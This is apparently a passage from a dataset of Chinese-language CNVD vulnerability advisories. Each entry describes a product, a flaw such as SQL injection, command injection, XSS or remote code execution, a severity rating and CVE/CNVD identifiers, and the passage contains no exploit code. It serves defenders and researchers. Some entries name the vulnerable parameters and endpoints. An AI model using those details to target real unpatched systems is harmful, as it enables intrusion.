CIRCL/Vulnerability-CNVD huggingface dataset:
Citrix XenMobile Server敏感数据泄露漏洞
Citrix XenMobile Server是美国思杰系统（Citrix Systems）公司的一套移动管理解决方案。该方案能够管理移动设备、制定移动策略和合规性规则、深入了解移动移动网络运行情况等。Citrix XenMobile Server 10.7版本中存在安全漏洞。攻击者可利用该漏洞泄露敏感数据。
严重程度：中
CNVD编号：CNVD-2018-10485
CVE编号：CVE-2018-10652
Oracle Financial Services Applications FLEXCUBE Enterprise Limits and Collateral Management组件访问控制错误漏洞（CNVD-2019-39911）
Oracle Financial Services Applications是美国甲骨文（Oracle）公司的一套集核心银行、网上银行和财产管理于一身的金融服务软件。Oracle FLEXCUBE Enterprise Limits and Collateral Management是其中的一个用于管理整个企业的产品在线实时曝光的组件。Oracle Financial Services Applications FLEXCUBE Enterprise Limits and Collateral Management组件存在访问控制错误漏洞。攻击者可利用该漏洞未授权访问、创建、删除或修改数据，影响数据的保密性和完整性。
严重程度：中
CNVD编号：CNVD-2019-39911
CVE编号：CVE-2018-3051
JetBrains WebStrom本地代码执行漏洞
JetBrains WebStorm是捷克软件开发公司JetBrains的JavaScript集成开发环境。JetBrains WebStorm 2021.1之前版本存在本地代码执行漏洞，攻击者可利用该漏洞使WebStrom从版本控制系统拉取代码时执行本地代码。
严重程度：高
CNVD编号：CNVD-2022-09233
CVE编号：CVE-2021-31897
OpenClaw操作系统命令注入漏洞（CNVD-2026-16043）
OpenClaw是OpenClaw开源的一个智能人工助理。OpenClaw存在操作系统命令注入漏洞。该漏洞源于safeBins配置未能正确过滤构造命令特殊字符、命令等，攻击者可利用该漏洞在系统上执行任意命令。
严重程度：中
CNVD编号：CNVD-2026-16043
CVE编号：CVE-2026-22169
MISP跨站脚本漏洞（CNVD-2021-06525）
MISP是一套开源的软件解决方案。该产品用于收集、存储、分发、共享网络安全指标，并具有威胁网络安全事件分析和恶意软件分析等功能。MISP 2.4.136版本存在跨站脚本漏洞，该漏洞源于用户主页喜爱按app/View/Elements/global_menu.ctp。目前没有详细的漏洞细节提供。
严重程度：中
CNVD编号：CNVD-2021-06525
CVE编号：CVE-2021-3184
多款Adobe产品image conversion引擎越界内存读取漏洞（CNVD-2018-05029）
Acrobat DC Continuous Track等都是美国奥多比（Adobe）公司的产品。Acrobat DC Continuous Track是一款桌面版PDF解决方案的连续更新版本。Reader DC Continuous Track是一款PDF阅读工具的连续更新版本。image conversion module是其中的一个图片格式转换模块。多款Adobe产品中的image conversion引擎存在越边界读取漏洞。远程攻击者可利用该漏洞执行代码。
严重程度：高
CNVD编号：CNVD-2018-05029
CVE编号：CVE-2018-4883
radare拒绝服务漏洞
radare是一套用来处理二进制文件的库和工具。radare 2.0.1版本中的libr/bin/format/elf/elf.c文件的‘store_versioninfo_gnu_verdef()’函数存在安全漏洞。攻击者可利用该漏洞造成拒绝服务（崩溃）。
严重程度：中
CNVD编号：CNVD-2017-34470
CVE编号：CVE-2017-16359
Android拒绝服务漏洞（CNVD-2015-06596）
Android是美国谷歌（Google）公司和开放手机联盟领导及开发的基于Linux开放性内核的移动操作系统。Android 5.1.1 之前的版本LMY48T存在拒绝服务漏洞，允许远程攻击者通过精心编制的媒体文件执行任意代码或导致拒绝服务。
严重程度：高
CNVD编号：CNVD-2015-06596
CVE编号：CVE-2015-6598
Microsoft 3D Builder存在未明漏洞（CNVD-2023-09624）
Microsoft 3D Builder是美国微软（Microsoft）公司的一款创建模型和3D打印的工具。Microsoft 3D Builder存在安全漏洞。目前没有详细的漏洞细节提供。
严重程度：高
CNVD编号：CNVD-2023-09624
CVE编号：CVE-2023-23377
Cisco Headend System Releases拒绝服务漏洞
Cisco Headend System Releases是数字宽带传输系统。Cisco Headend System Releases在实现上存在安全漏洞，未经过身份验证的远程攻击者利用此漏洞可造成拒绝服务。
严重程度：中
CNVD编号：CNVD-2015-04203
CVE编号：CVE-2015-4227
IBM WebSphere Application Server远程代码执行漏洞（CNVD-2020-46231）
IBM WebSphere Application Server（WAS）是美国IBM公司的一款应用服务器产品。该产品是JavaEE和Web服务应用程序的平台，也是IBMWebSphere软件平台的基础。IBM WebSphere Application Server中存在安全漏洞。攻击者可利用该漏洞执行代码。
严重程度：中
CNVD编号：CNVD-2020-46231
CVE编号：CVE-2020-4464
INSIDE Secure MatrixSSL证书验证漏洞
INSIDE Secure MatrixSSL是法国INSIDE Secure公司的一个针对小型应用程序和设备而设计的嵌入式、开源SSLv3协议栈。INSIDE Secure MatrixSSL 3.7.2版本中存在安全漏洞，该漏洞源于在X.509证书验证的进程中，程序未能正确的验证UTCTime有效期。攻击者可利用该漏洞延长证书的有效性。
严重程度：中
CNVD编号：CNVD-2018-04086
CVE编号：CVE-2017-1000415
WordPress cforms2插件跨站脚本漏洞（CNVD-2019-30759）
WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。cforms2是使用在其中的一个表单构建插件。WordPress cforms2插件存在跨站脚本漏洞。攻击者可利用该漏洞执行客户端代码。
严重程度：中
CNVD编号：CNVD-2019-30759
CVE编号：CVE-2014-10392
FasterXML jackson-databind代码问题漏洞（CNVD-2020-52692）
FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具。jackson-databind是其中的一个具有数据绑定功能的组件。FasterXML jackson-databind 2.9.10.5之前的2.x版本中存在安全漏洞。攻击者可通过发送特制的输入利用该漏洞在系统上执行任意代码。
严重程度：中
CNVD编号：CNVD-2020-52692
CVE编号：CVE-2020-14195
Apache InLong安全绕过漏洞（CNVD-2023-42959）
Apache InLong是美国阿帕奇（Apache）基金会的一站式的海量数据集成框架。Apache InLong 1.2.0版本至1.6.0版本存在安全绕过漏洞。攻击者可利用该漏洞绑定任何集群，即使他不是集群所有者。
严重程度：高
CNVD编号：CNVD-2023-42959
CVE编号：CVE-2023-31454
Bottinelli Informatical Vedo Suite访问控制错误漏洞
Bottinelli Informatical Vedo Suite是意大利Bottinelli Informatica公司的一款面向纺织与设计行业的企业软件套件。Bottinelli Informatical Vedo Suite存在访问控制错误漏洞，攻击者可利用该漏洞获取高权限JWT令牌。
严重程度：中
CNVD编号：CNVD-2025-19590
CVE编号：CVE-2025-51054
Wordpress插件Float menu跨站请求伪造漏洞
WordPress是WordPress（Wordpress）基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。Wordpress插件Float menu存在跨站请求伪造漏洞，该漏洞源于产品在删除菜单时未对用户身份进行有效验证。攻击者可利用该漏洞将管理员删除。
严重程度：中
CNVD编号：CNVD-2022-31560
CVE编号：CVE-2022-0313
映翰通InRouter900工业路由器存在命令执行漏洞（CNVD-2021-10447）
映翰通InRouter900系列工业路由器是一款4G工业路由器。映翰通InRouter900工业路由器存在命令执行漏洞，该漏洞源于程序未能正确验证用户数据，远程攻击者可借助恶意HTTP请求利用该漏洞在系统上执行任意命令。
严重程度：高
CNVD编号：CNVD-2021-10447
WordPress Icegram Email Subscribers & Newsletters插件SQL注入漏洞
WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。Email Subscribers Newsletters是使用在其中的一个消息推送插件。WordPress Icegram Email Subscribers & Newsletters插件4.1.7及之前版本中存在SQL注入漏洞，攻击者可利用该漏洞执行非法SQL命令。
严重程度：高
CNVD编号：CNVD-2019-25732
CVE编号：CVE-2019-13569
Microsoft Dynamics 365跨站脚本漏洞（CNVD-2020-57794）
Microsoft Dynamics 365是微软新一代智能商业应用，通过对CRM和ERP的完美整合，助力企业成长及数字化转型。Microsoft Dynamics 365 9.0版存在跨站脚本漏洞。该漏洞源于该产品未能正确验证特制Web请求。攻击者可通过发送特制请求利用该漏洞在当前认证用户的安全上下文中运行脚本。
严重程度：低
CNVD编号：CNVD-2020-57794
CVE编号：CVE-2020-16978
MacPaw CleanMyMac X moveToTrashItemAtPath权限提升漏洞
MacPaw CleanMyMac X是美国MacPaw公司的一款专用于macOS平台的清理工具。该产品能够清除计算机中的垃圾文件、历史缓存和日志等。MacPaw CleanMyMac X 4.04版本中存在输入验证漏洞。本地攻击者可利用该漏洞以root用户身份修改文件系统。
严重程度：中
CNVD编号：CNVD-2019-01307
CVE编号：CVE-2018-4033
eYou电子邮件系统存在未授权访问漏洞
eYou电子邮件系统是拥有独立自主知识产权，由亿邮自主研发的功能强大的邮件系统软件。eYou电子邮件系统存在未授权访问漏洞，攻击者可利用该漏洞获取敏感信息。
严重程度：中
CNVD编号：CNVD-2021-32445
多款Apple产品WebKit内存破坏漏洞（CNVD-2017-04673）
Apple iOS、Safari和tvOS都是美国苹果（Apple）公司的产品。Apple iOS是为移动设备所开发的一套操作系统；Safari是一款Web浏览器，是Mac OS X和iOS操作系统附带的默认浏览器；tvOS是一套智能电视操作系统。WebKit是KDE社区开发的一套开源Web浏览器引擎，目前被Apple Safari及Google Chrome等浏览器使用。多款Apple产品中的WebKit组件中存在内存破坏漏洞。远程攻击者可借助特制的Web站点利用该漏洞执行任意代码或造成拒绝服务（内存破坏和应用程序崩溃）。
严重程度：中
CNVD编号：CNVD-2017-04673
CVE编号：CVE-2017-2470
Microchip Technology BluSDK Smart拒绝服务漏洞
Microchip Technology BluSDK Smart是Microchip Technology开发的一款实现Bluetooth的SDK软件包。Microchip Technology BluSDK Smart 6.2及之前版本（用于ATSAMB11）中的Bluetooth Low Energy实现存在安全漏洞，该漏洞源于程序未能限制链路层数据的长度。攻击者可借助特制的数据包利用该漏洞造成拒绝服务（崩溃）。
严重程度：低
CNVD编号：CNVD-2020-04922
CVE编号：CVE-2019-19195
Cloud Foundry Container Runtime信息泄露漏洞
Cloud Foundry Container Runtime是美国Cloud Foundry基金会的一款提供了统一的方式进行实例化、部署和管理Kubernetes集群的系统。Cloud Foundry Container Runtime (kubo-release) 0.14.0之前版本中存在信息泄露漏洞，该漏洞源于程序会将UAA and vCenter凭证泄露到应用程序日志中，攻击者可利用该漏洞使用这些凭证提升权限。
严重程度：高
CNVD编号：CNVD-2018-19414
CVE编号：CVE-2018-1223
泰州智搜网络科技有限公司建站系统Pr***.asp页面存在SQL注入漏洞
泰州智搜网络科技有限公司是一家从事网站建设,网站制作,网站改版,网站优化的网络公司。泰州智搜网络科技有限公司建站系统Pr***.asp页面存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。
严重程度：高
CNVD编号：CNVD-2019-06378
WordPress NOTICE BOARD plugin跨站脚本漏洞
WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。WordPress NOTICE BOARD plugin 1.1及其之前版本存在跨站脚本漏洞。该漏洞源于对用户提供的数据缺乏有效过滤与转义，攻击者可利用漏洞发起跨站脚本攻击。
严重程度：中
CNVD编号：CNVD-2022-88224
CVE编号：CVE-2022-38460
Microsoft Visual Studio Code installer不可信搜索路径漏洞
Microsoft Visual Studio Code是美国微软（Microsoft）公司的一款支持OS X、Windows和Linux平台的用于编写现代Web应用程序和云应用的跨平台源代码编辑器。installer是Visual Studio Code的安装程序。Microsoft Visual Studio Code中的installer存在不可信搜索路径漏洞。攻击者可借助目录下恶意的DLL利用该漏洞以调用安装程序用户的权限执行任意代码。
严重程度：中
CNVD编号：CNVD-2018-13332
CVE编号：CVE-2018-0597
Amzetta zPortal Windows zClient存在未明漏洞
Amzetta Zportal是美国Amzetta Technologies公司的一个虚拟桌面和应用程序控制器。用于管理员创建和管理托管应用程序、虚拟桌面、共享托管桌面以及审计服务，为虚拟桌面、代理连接提供资源以及验证用户和端点设备。Amzetta zPortal Windows zClient存在安全漏洞，本地攻击者可利用该漏洞在内核模式下执行任意代码，或者通过特别制作的IO请求包导致拒绝服务(内存损坏和OS崩溃)。
严重程度：高
CNVD编号：CNVD-2021-95610
CVE编号：CVE-2021-43000
碧海威L7家庭网关存在命令执行漏洞
碧海威L7家庭网关是北京碧海威科技有限公司推出的一款家庭网关。碧海威L7家庭网关存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。
严重程度：高
CNVD编号：CNVD-2021-41008
Adobe Acrobat和Reader堆溢出漏洞（CNVD-2019-45966）
Adobe Acrobat是由Adobe公司开发的一款PDF编辑软件。Adobe Reader(也被称为Acrobat Reader)是Adobe公司开发的一款PDF文件阅读软件。Adobe Acrobat和Reader存在堆溢出漏洞。攻击者可利用该漏洞获取信息。
严重程度：中
CNVD编号：CNVD-2019-45966
CVE编号：CVE-2019-16451
Linux kernel内存错误引用漏洞（CNVD-2019-45907）
Linux kernel是一种计算机操作系统内核，以C语言和汇编语言写成，符合POSIX标准，按GNU通用公共许可证发行。Linux kernel 5.3.11之前版本存在内存错误引用漏洞。攻击者可通过恶意USB设备利用该漏洞导致释放后重用。
严重程度：中
CNVD编号：CNVD-2019-45907
CVE编号：CVE-2019-19529
vapor资源管理错误漏洞
vapor是个人开发者的一个Swift的Web开发框架。可用于开发高性能的Web应用，支持iOS、OS X和Ubuntu系统。Vapor 4.40.1之前版本存在安全漏洞，攻击者可利用该漏洞发起DoS攻击。
严重程度：中
CNVD编号：CNVD-2021-16371
CVE编号：CVE-2021-21328
IBM Curam Social Program Management跨站脚本漏洞
IBM Curam Social Program Management（SPM）是美国IBM公司的一套社会计划管理解决方案。该方案支持终端到终端社会项目交付的过程。IBM Curam SPM 6.1版本中存在跨站脚本漏洞。远程攻击者可借助特制的URL利用该漏洞注入任意Web脚本或HTML。
严重程度：低
CNVD编号：CNVD-2016-00081
CVE编号：CVE-2015-7402
HPE Intelligent Management Center (IMC) actionSelectContent表达式语言注入远程代码执行漏洞
HPE Intelligent Management Center（IMC）是一个从底层构建的综合管理平台，支持故障、配置、记账、性能及安全（FCAPS）模型。HPE Intelligent Management Center (IMC) 7.3 E0506P09及更早版本存在actionSelectContent表达式语言注入远程代码执行漏洞。攻击者可利用该漏洞执行远程代码。
严重程度：高
CNVD编号：CNVD-2019-23698
CVE编号：CVE-2019-5340
Raw Image Extension远程代码执行漏洞（CNVD-2021-24026）
Raw Image Extension是一款由Microsoft开发的图像扩展应用程序，可让您查看Raw格式图像。Raw Image Extension 1.0.32861.0之前版本存在远程代码执行漏洞。攻击者可利用该漏洞实现远程代码执行。
严重程度：高
CNVD编号：CNVD-2021-24026
CVE编号：CVE-2020-17078
Cisco SD-WAN Solution本地缓冲区溢出漏洞
Cisco vBond Orchestrator Software等都是美国思科（Cisco）公司的产品。Cisco vBond Orchestrator Software是一套安全网络扩展管理软件。vEdge 100 Series Routers是一款100系列的路由器产品。SD-WAN Solution是运行在其中的一套网络扩展解决方案。Cisco SD-WAN Solution 18.3.0之前版本中的配置和监测服务存在缓冲区溢出漏洞，该漏洞源于程序对所提供的输入未能执行完整的边界检测。本地攻击者可通过向vDaemon监听服务发送恶意的数据利用该漏洞以root权限执行任意代码或造成拒绝服务。
严重程度：中
CNVD编号：CNVD-2018-14082
CVE编号：CVE-2018-0342
HPE Insight Control server deployment权限提升漏洞
HPE Insight Control server deployment是美国惠普企业（Hewlett Packard Enterprise，HPE）公司的一套服务器管理配置工具。HPE Insight Control server deployment存在权限提升漏洞，允许本地用户通过未指定向量获得权限。
严重程度：高
CNVD编号：CNVD-2016-03946
CVE编号：CVE-2016-4364
Oracle Data Quality TSS12.DscXB.XB ActiveX控件内存错误引用漏洞
Oracle Data Quality是美一套提供了全面的数据质量管理环境的软件。Oracle Data Quality的TSS12.DscXB.XB ActiveX控件中onloadstatechange方法存在内存错误引用漏洞，允许远程攻击者构建恶意WEB页，诱使用户解析，以应用程序上下文执行任意代码。
严重程度：中
CNVD编号：CNVD-2015-02951
CVE编号：CVE-2015-0445
YxtCMF跨站请求伪造漏洞
YxtCMF是一套在线学习系统。该系统具有在线直播、在线答题、教师管理和论坛等功能。YxtCMF 3.1版本中的RbacController.class.php文件存在跨站请求伪造漏洞。远程攻击者可利用该漏洞添加任意的管理员信息。
严重程度：中
CNVD编号：CNVD-2018-04870
CVE编号：CVE-2018-7733
IBM InfoSphere Information Server信息泄露漏洞（CNVD-2018-11080）
IBM InfoSphere Information Server是市场领先的数据集成平台，其中包括一系列产品，可让您了解，清理，监控，转换和交付数据，并协作弥合业务与IT之间的差距。IBM InfoSphere Information Server存在信息泄露漏洞，该漏洞源于IBM InfoSphere Information Server HTTP STS缺陷所致，攻击者可利用该漏洞获取目标系统上的敏感信息。
严重程度：中
CNVD编号：CNVD-2018-11080
CVE编号：CVE-2018-1454
NetApp ONTAP Select Deploy信息泄露漏洞（CNVD-2019-43849）
ONTAP Select Deploy是用于部署和管理ONTAP Select集群的管理实用程序。ONTAP Select Deploy 存在信息泄露漏洞。该漏洞源于该产品以纯文本形式传输凭据。攻击者可利用该漏洞获取凭据。
严重程度：中
CNVD编号：CNVD-2019-43849
CVE编号：CVE-2019-5505
Microsoft Office Patch Installer存在多个DLL加载远程代码执行漏洞
Microsoft Office是微软公司开发的一套基于Windows操作系统的办公软件套装。Microsoft Office存在多个DLL加载远程代码执行漏洞。攻击者可以在受影响应用程序的用户环境中执行任意代码，失败的攻击会造成拒绝服务。
严重程度：高
CNVD编号：CNVD-2018-10580
McAfee VirusScan Enterprise安全绕过漏洞
McAfee VirusScan Enterprise是美国迈克菲（McAfee）公司的一套杀毒软件。该软件提供全方位的安全防护、扫描内存以查找恶意代码和为远程系统优化更新等功能。VirusScan Enterprise for Linux (VSEL) 2.0.3及其之前版本存在安全绕过漏洞。远程攻击者可利用漏洞执行任意代码或造成拒绝服务。
严重程度：高
CNVD编号：CNVD-2016-12627
CVE编号：CVE-2016-8022
Pims后台存在设计缺陷导致任意文件写入漏洞
PIMS是一款应用于订购类网站的在线订单管理系统。Pims V4.2.8后台存在设计缺陷导致任意文件写入漏洞。允许攻击者写入webshell，获得服务器权限。
严重程度：高
CNVD编号：CNVD-2017-01356
Google Chrome V8代码执行漏洞（CNVD-2021-73432）
Google Chrome是美国谷歌（Google）公司的一款Web浏览器。Google Chrome V8存在代码执行漏洞。远程攻击者可利用此漏洞在系统上执行任意代码或造成拒绝服务情况。
严重程度：高
CNVD编号：CNVD-2021-73432
CVE编号：CVE-2021-30632
Smoothwall Express跨站脚本漏洞（CNVD-2026-14354）
Smoothwall Express是Smoothwall开源的一个基于GNU/Linux的防火墙操作系统。Smoothwall Express存在跨站脚本漏洞，该漏洞源于outgoing.cgi端点中MACHINE和MACHINECOMMENT参数对用户提供的数据缺乏有效过滤与转义，攻击者可利用该漏洞在用户浏览器中执行任意JavaScript并窃取会话数据。
严重程度：中
CNVD编号：CNVD-2026-14354
CVE编号：CVE-2019-25385
FreeRDP内存破坏漏洞（CNVD-2024-20776）
FreeRDP是一款实现远程桌面协议的免费软件，它主要用于远程连接和管理Windows服务器。FreeRDP在3.5.1之前的版本中存在内存破坏漏洞，恶意服务器可以通过发送无效的巨大内存分配大小来使FreeRDP客户端崩溃，3.5.1版本包含了针对该问题的补丁。目前没有详细的漏洞细节提供。
严重程度：高
CNVD编号：CNVD-2024-20776
CVE编号：CVE-2024-32660
ArcSight Logger远程代码执行漏洞
Micro Focus ArcSight Logger是英国Micro Focus公司的一套日志管理软件。该软件能够收集并整合来自任何日志生成来源的数据，用于日志管理、搜索、编制索引、报告、分析和保留。Micro Focus ArcSight Logger 6.7之前版本中存在输入验证漏洞。攻击者可利用该漏洞执行代码。
严重程度：高
CNVD编号：CNVD-2019-08316
CVE编号：CVE-2019-3484
D盾防火墙存在webshell绕过漏洞（CNVD-2020-04087）
D盾防火墙是一款免费的IIS防火墙软件，这款软件可以保护网站和服务器不被入侵。D盾防火墙存在webshell绕过漏洞。攻击者可利用该漏洞获取目标服务器管控权限。
严重程度：高
CNVD编号：CNVD-2020-04087
台达电子企业管理(上海)有限公司IEXplorer存在未授权访问漏洞
IEXplorer是一款工业以太网工具软件，提供自动搜寻台达工业以太网络产品，提供即时监控设备连线状态，快速IP地址设定与软件升级等功能，适用产品包括（DVS系列，DVW系列，IFD9506，IFD9507，RTU-EN01，DVPEN01-SL，DVP12SE，DVP-FEN01，DVPSCM12-SL，DVPSCM52-SL，ASDA-M，CMC-MOD010).。台达电子企业管理(上海)有限公司IEXplorer存在未授权访问漏洞。攻击者可利用漏洞在非授权状态，访问软件的所有功能，进行非法操作。
严重程度：低
CNVD编号：CNVD-2020-18736
TIBCO DataSynapse GridServer Manager GridServer Broker和GridServer Director组件跨站脚本漏洞
TIBCO DataSynapse GridServer Manager是美国TIBCO软件公司的一套用于管理GridServer环境的管理系统。GridServer Broker是其中的一个工作负载管理组件；GridServer Director是其中的一个GridServer管理组件。TIBCO DataSynapse GridServer Manager中的GridServer Broker和GridServer Director组件存在安全漏洞。攻击者可利用该漏洞获取权限账户或这些组件所管理信息的访问权限。
严重程度：低
CNVD编号：CNVD-2018-13979
CVE编号：CVE-2017-5536
iCMS跨站请求伪造漏洞（CNVD-2020-54957）
iCMS是一套采用PHP和MySQL数据库构建的内容管理系统（CMS）。iCMS v7.0.0中存在跨站请求伪造漏洞。该漏洞源于WEB应用未充分验证请求是否来自可信用户。攻击者可利用该漏洞通过受影响客户端向服务器发送非预期的请求。
严重程度：中
CNVD编号：CNVD-2020-54957
CVE编号：CVE-2020-24739
TOTOLINK A3300R setScheduleCfg方法命令注入漏洞
TOTOLINK A3300R是中国吉翁电子（TOTOLINK）公司的一款无线路由器。TOTOLINK A3300R V17.0.0cu.557_B20221024版本存在命令注入漏洞，该漏洞源于setScheduleCfg方法的minute参数未能正确过滤构造命令特殊字符、命令等。攻击者可利用该漏洞导致任意命令执行。
严重程度：高
CNVD编号：CNVD-2024-06221
CVE编号：CVE-2024-23061
IBM Tivoli Key Lifecycle Manager信息泄露漏洞（CNVD-2021-91635）
IBM Tivoli Key Lifecycle Manager（TKLM）是美国IBM公司的一套密钥生命周期管理软件。该软件为存储设备提供密钥存储、密钥维护和密钥生命周期管理等功能。IBM Tivoli Key Lifecycle Manager存在安全漏洞，该漏洞源于IBM Tivoli Key Lifecycle Manager使用了比预期更弱的加密算法。攻击者可利用该漏洞解密高度敏感的信息。
严重程度：中
CNVD编号：CNVD-2021-91635
CVE编号：CVE-2021-38983
SuiteCRM路径遍历漏洞
SuiteCRM是SuiteCRM（Suitecrm）团队的一个客户关系管理系统。SuiteCRM 存在安全漏洞，攻击者可以通过 RefreshMapping 导入功能的 importFile 参数部分包含任意文件。
严重程度：中
CNVD编号：CNVD-2021-88952
CVE编号：CVE-2021-41596
TP-Link TL-R489GP-AC存在拒绝服务漏洞
TL-R489GP-AC是TP-LINK专为小微型企业、办公室、别墅等环境开发的PoE·AC一体化VPN路由器产品。TP-Link TL-R489GP-AC存在拒绝服务漏洞。攻击者可利用漏洞通过发送精心构造的数据包（指向特定的目的地址），使目标路由器及其上层运营商的路由器造成拒绝服务。
严重程度：中
CNVD编号：CNVD-2021-08386
Microsoft Windows Defender Security Center提权漏洞（CNVD-2020-18167）
Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Defender Security Center是其中的一个计算机安全防护组件。Microsoft Windows Defender Security Center中存在提权漏洞。攻击者可通过登录系统并运行特制的命令利用该漏洞提升权限。
严重程度：中
CNVD编号：CNVD-2020-18167
CVE编号：CVE-2020-0762
CentOS Web Panel权限许可和访问控制问题漏洞
CentOS Web Panel（CWP）是一款免费的虚拟主机控制面板。CentOS Web Panel 0.9.8.851版本中存在权限许可和访问控制问题漏洞，攻击者可利用该漏洞删除任意数据库。
严重程度：中
CNVD编号：CNVD-2019-41836
CVE编号：CVE-2019-14245
清大新洋通用图书馆集成管理系统GLIS存在未授权访问漏洞
北京清大新洋科技有限公司是北京市新技术产业开发区的高新技术企业，注册资金1000万元人民币，下属多家子公司（北京中科新洋科技有限公司、浙江清大新洋科技有限公司）。公司依托清华大学的技术优势，专业从事图书馆自动化系统软件的开发、销售及推广，承接网络系统集成工程；专业提供数据制作，网上联合采编服务。清大新洋通用图书馆集成管理系统GLIS存在未授权访问漏洞，攻击者可利用该漏洞获取敏感信息。
严重程度：中
CNVD编号：CNVD-2021-25894
Ogma CMS跨站请求伪造漏洞
Ogma CMS是一套基于XML的平面文件内容管理系统（CMS）。Ogma CMS 0.4 Beta版本中的users.php?action=createnew页面存在跨站请求伪造漏洞，远程攻击者可利用该漏洞添加管理员账户。
严重程度：中
CNVD编号：CNVD-2018-19068
CVE编号：CVE-2018-16380
Adobe Experience Manager跨站脚本漏洞（CNVD-2024-0033853）
Adobe Experience Manager（AEM）是美国奥多比（Adobe）公司的一套可用于构建网站、移动应用程序和表单的内容管理解决方案。该方案支持移动内容管理、营销销售活动管理和多站点管理等。Adobe Experience Manager 6.5.18版本及之前版本存在安全漏洞，攻击者可利用该漏洞通过注入精心设计的有效载荷执行任意Web脚本或HTML。
严重程度：中
CNVD编号：CNVD-2024-00338
CVE编号：CVE-2023-48582
IBM Rational Quality Manager跨站脚本漏洞（CNVD-2019-41602）
IBM Rational Quality Manager（RQM）是美国IBM公司的一套协作的、基于Web的质量管理解决方案。该方案在软件开发的整个生命周期之内，提供了测试规划与测试评价管理方法，并能够共享信息、自动化加快项目进度以及报告制定的发布决策。IBM Rational Quality Manager 6.0版本至6.0.6.1版本中存在跨站脚本漏洞。远程攻击者可利用该漏洞在Web UI中执行任意的JavaScript代码。
严重程度：中
CNVD编号：CNVD-2019-41602
CVE编号：CVE-2019-4251
xxl-job信息泄露漏洞
xxl-job是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。xxl-job 2.2.0存在信息泄露漏洞，攻击者可通过job/admin/controller/UserController.java利用该漏洞获取用户名、模型及密码信息。
严重程度：低
CNVD编号：CNVD-2020-50962
CVE编号：CVE-2020-23811
苏州托普斯网络科技有限公司建站系统ne***.php页面存在SQL注入漏洞
苏州托普斯网络科技有限公司是计算机软件、电脑动画及网络产品的设计、研发、销售、并提供相关技术服务和咨询服务的公司。苏州托普斯网络科技有限公司建站系统ne***.php页面存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
严重程度：高
CNVD编号：CNVD-2018-17550
Microsoft Internet Explorer信息泄露漏洞（CNVD-2016-01023）
Microsoft Internet Explorer是美国微软（Microsoft）公司推出的并与Windows操作系统捆绑在一起的流行的Web浏览器。Microsoft Internet Explorer 9至11存在信息泄露漏洞，允许远程攻击者通过电子邮件或 Office 文档中精心编制的URL从进程内存获取敏感信息。
严重程度：中
CNVD编号：CNVD-2016-01023
CVE编号：CVE-2016-0059
Cybozu Garoon路径遍历漏洞
Cybozu Garoon是日本才望子（Cybozu）公司的一套门户型OA办公系统。该系统提供门户、E-mail、书签、日程安排、公告栏、文件管理等功能，并支持在三种语言（中、日、英）中自由切换。Cybozu Garoon 3.5.0版本至4.6.3版本中的会话信息处理过程存在路径遍历漏洞，攻击者可利用该漏洞获取或修改服务器上的任意文件。
严重程度：中
CNVD编号：CNVD-2019-07166
CVE编号：CVE-2018-0673
PowerSmart编码器存在未授权访问漏洞
PowerSmart编码器是北京世纪鼎点软件有限公司以其专业的视频压缩技术推出的专用硬件视频编码设备，具有支持国际标准、高性能、配置灵活和可扩展性强等优点。PowerSmart编码器存在未授权访问漏洞，攻击者可利用漏洞获取敏感信息。
严重程度：中
CNVD编号：CNVD-2020-26983
cPanel权限许可和访问控制问题漏洞（CNVD-2019-29608）
cPanel是美国cPanel公司的一套基于Web的自动化主机托管平台。该平台主要用于自动化管理网站和服务器。cPanel 68.0.15之前版本中存在安全漏洞，该漏洞源于程序将home目录的备份文件写入到了错误的地址。目前没有详细漏洞细节提供。
严重程度：中
CNVD编号：CNVD-2019-29608
CVE编号：CVE-2017-18383
多款NETGEAR产品缓冲区溢出漏洞（CNVD-2020-25838）
NETGEAR R6700等都是美国网件（NETGEAR）公司的产品。NETGEAR R6700是一款无线路由器。NETGEAR D6200是一款无线调制解调器。NETGEAR R6800是一款无线路由器。多款NETGEAR产品中存在缓冲区溢出漏洞。该漏洞源于网络系统或产品在内存上执行操作时，未正确验证数据边界，导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。
严重程度：高
CNVD编号：CNVD-2020-25838
CVE编号：CVE-2017-18730
Huawei EMUI/HarmonyOS竞争条件漏洞
Huawei EMUI和Huawei HarmonyOS都是中国华为（Huawei）公司的产品。Huawei EMUI是一款基于Android开发的移动端操作系统。Huawei HarmonyOS是华为公司自主研发的面向全场景的分布式操作系统，旨在实现人、设备、场景的智能互联与资源共享。Huawei EMUI/HarmonyOS存在竞争条件漏洞，该漏洞源于在Binder驱动模块中存在竞争条件漏洞。目前没有详细的漏洞细节提供。
严重程度：高
CNVD编号：CNVD-2025-18902
CVE编号：CVE-2024-32997
Foxit PDF Reader JavaScript引擎远程代码执行漏洞（CNVD-2018-20719）
Foxit PDF Reader是中国福昕（Foxit）软件公司的一款PDF文档阅读器。JavaScript engine是其中的一个JavaScript脚本引擎。Foxit PDF Reader中的JavaScript引擎存在远程代码执行漏洞。远程攻击者可借助特制的PDF文档利用该漏洞执行任意代码。
严重程度：高
CNVD编号：CNVD-2018-20719
CVE编号：CVE-2018-3995
Autodesk Navisworks缓冲区溢出漏洞（CNVD-2022-05701）
Autodesk Navisworks是美国欧特克（Autodesk）公司的用于建筑、工程和施工的 3D 模型审查软件。Autodesk Navisworks存在缓冲区溢出漏洞，攻击者可利用该漏洞执行任意代码。
严重程度：中
CNVD编号：CNVD-2022-05701
CVE编号：CVE-2021-40160
团啊VIP电影系统存在XSS漏洞
团啊VIP电影系统是一款轻便智能的视频CMS管理系统。团啊VIP电影系统存在XSS漏洞，攻击者可利用该漏洞执行恶意脚本。
